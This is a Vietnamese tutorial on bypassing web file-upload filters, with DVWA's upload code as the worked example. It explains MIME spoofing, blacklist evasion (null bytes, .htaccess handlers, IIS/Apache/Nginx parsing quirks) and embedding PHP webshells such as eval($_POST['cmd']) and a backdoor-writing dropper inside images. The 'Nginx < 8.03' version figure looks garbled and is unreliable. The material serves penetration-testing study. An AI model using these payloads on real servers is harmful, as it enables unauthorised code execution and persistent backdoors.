Giới thiệu
Bài viết trước đã giới thiệu sơ lược về cách vượt qua kiểm tra phía client. Bài viết này sẽ tổng hợp các phương pháp vượt qua khác.
Nội dung chính
1.1 Vượt qua kiểm tra MIME phía máy chủ
Nguyên lý kiểm tra: Khi người dùng tải file lên, máy chủ sẽ lấy giá trị MIME của file và so sánh với danh sách cho phép. Nếu không khớp, file được coi là không hợp lệ.
Xem mã nguồn (ví dụ từ DVWA):
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo 'Your image was not uploaded.';
} else {
echo "{$target_path} succesfully uploaded!";
}
} else {
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.';
}
}
?>
Phân tích dòng 16, chỉ cần thay đổi giá trị content-type thành image/jpeg hoặc image/png là có thể vượt qua. Cần sử dụng công cụ bắt gói tin (như Burp Suite) để sửa đổi.
1.2 Vượt qua kiểm tra phần mở rộng file phía máy chủ
1.2.1 Vượt qua danh sách đen
Trong ứng dụng web, thường có file blacklist chứa các phần mở rộng nguy hiểm (như .php, .asp, .jsp). Tuy nhiên, danh sách đen thường không đầy đủ và có thể bị vượt qua bằng nhiều cách.
- Thay đổi chữ hoa/chữ thường: Đổi phần mở rộng thành
.pHp,.Asp, v.v. - Sử dụng phần mở rộng khác: Thử các đuôi không có trong danh sách đen như
.asa,.cer,.cdx(với IIS). - Tên file đặc biệt: Đặt tên như
xxx.asp.hoặcxxx.asp_(có dấu chấm hoặc gạch dưới). Hệ thống Windows có thể tự động loại bỏ ký tự thừa sau khi vượt qua kiểm tra. Lưu ý: Unix/Linux không có đặc tính này. - Kỹ thuật chèn null byte (0x00): Trong hex, 0x00 tương đương ký tự null. Khi server đọc đường dẫn, nó sẽ dừng lại tại ký tự này. Ví dụ: upload file
php.php.pngchứa mã độc, nhưng sửa byte thứ hai (dấu chấm giữa php và png) thành 0x00 (trong hex là 2e -> 00). Kết quả server chỉ đọcphp.phpvà thực thi. - Tấn công file .htaccess: Nếu có thể upload file
.htaccess, thêm nội dung:
Sau đó upload một file không có phần mở rộng, nhưng trong nội dung phải chứa từ khóa<FilesMatch "shell"> SetHandler application/x-httpd-php </FilesMatch>shell. File sẽ được thực thi như PHP.
1.2.2 Vượt qua danh sách trắng
Danh sách trắng an toàn hơn danh sách đen, nhưng vẫn có thể bị tấn công bằng file .htaccess nếu được phép upload.
1.3 Vượt qua kiểm tra nội dung file phía máy chủ
Nếu máy chủ kiểm tra kỹ nội dung file (ví dụ chỉ chấp nhận ảnh), có thể nhúng mã độc vào file ảnh. Công cụ edjpgcom (hỗ trợ JPG) cho phép nhúng mã một cách dễ dàng mà không làm hỏng cấu trúc ảnh. Kéo file ảnh vào công cụ, một hộp thoại sẽ hiện ra để nhập mã (ví dụ <?php eval($_POST['cmd']);?>). Kết quả là file ảnh vẫn hiển thị bình thường nhưng chứa mã độc.
2.1 Lỗ hổng phân tích cú pháp
IIS 5.x/6.x
- Phân tích cú pháp thư mục: Nếu có thư mục kết thúc bằng
.asp(ví dụ/haha.asp/), mọi file trong thư mục đó (dù là .png, .txt) đều được thực thi như ASP. - Phân tích cú pháp file: File
ha.asp;.pngsẽ được thực thi nhưha.aspvì server dừng phân tích tại dấu chấm phẩy. - Các phần mở rộng mặc định: IIS 6.0 mặc định thực thi các file .asp, .asa, .cer, .cdx.
Apache
Apache phân tích cú pháp từ phải sang trái. Nếu gặp phần mở rộng không xác định, nó sẽ bỏ qua và tiếp tục. Ví dụ: file test.php.rar.zip sẽ được thực thi như PHP vì Apache không biết .rar và .zip.
Nginx
- Lỗi cấu hình PHP (cgi.fix_pathinfo): Khi gửi yêu cầu
/upload/shell.png/random.php, Nginx chuyển cho PHP xử lý. PHP thấyrandom.phpkhông tồn tại, bỏ qua và thực thishell.png(nếu có chứa mã PHP). Lỗi này thường gặp ở các phiên bản PHP cũ, đã được khắc phục bằng tùy chọnsecurity.limit_extensions. - Lỗ hổng Nginx < 8.03 (FAST-CGI): Upload file
shell.jpgchứa mã:
Truy cập<?php file_put_contents('backdoor.php', '<?php eval(\$_POST[cmd])?>');?>shell.jpg/.php, filebackdoor.phpsẽ được tạo. - Lỗ hổng null byte (Nginx < 8.03): Upload file ảnh chứa mã, đặt tên
shell.jpg, truy cậpshell.jpg%00.phpđể thực thi.
Cuối cùng, sơ đồ dưới đây (không hiển thị) minh họa quy trình kiểm thử có thể áp dụng.